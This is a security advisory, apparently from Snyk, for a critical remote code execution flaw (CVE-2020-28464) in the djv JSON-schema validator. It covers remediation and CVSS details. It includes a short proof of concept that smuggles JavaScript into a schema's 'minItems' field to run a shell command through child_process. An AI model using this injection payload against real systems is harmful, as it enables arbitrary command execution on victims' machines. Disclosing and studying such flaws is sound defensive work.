Remote Code Execution (RCE)

Affecting djv package, versions <2.1.4

Report new vulnerabilities
Do your applications use this vulnerable package? Test your applications

Overview

djv is a dynamic json-schema validator

Affected versions of this package are vulnerable to Remote Code Execution (RCE). By controlling the schema file, an attacker can run arbitrary JavaScript code on the victim machine.

POC:

const djv = require('djv');
const env = new djv();
const evilSchema = JSON.parse('{"common":{"type":"array", "minItems":"process.mainModule.require(`child_process`).execSync(`touch HACKED`)"}}')
env.addSchema('test', evilSchema);
env.validate('test#/common', { type: 'custom' });

Remediation

Upgrade djv to version 2.1.4 or higher.

References

CVSS Score

9.8
critical severity
  • Attack Vector
    Network
  • Attack Complexity
    Low
  • Privileges Required
    None
  • User Interaction
    None
  • Scope
    Unchanged
  • Confidentiality
    High
  • Integrity
    High
  • Availability
    High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Credit
Alessio Della Libera (d3lla)
CVE
CVE-2020-28464
CWE
CWE-94
Snyk ID
SNYK-JS-DJV-1014545
Disclosed
30 Sep, 2020
Published
04 Jan, 2021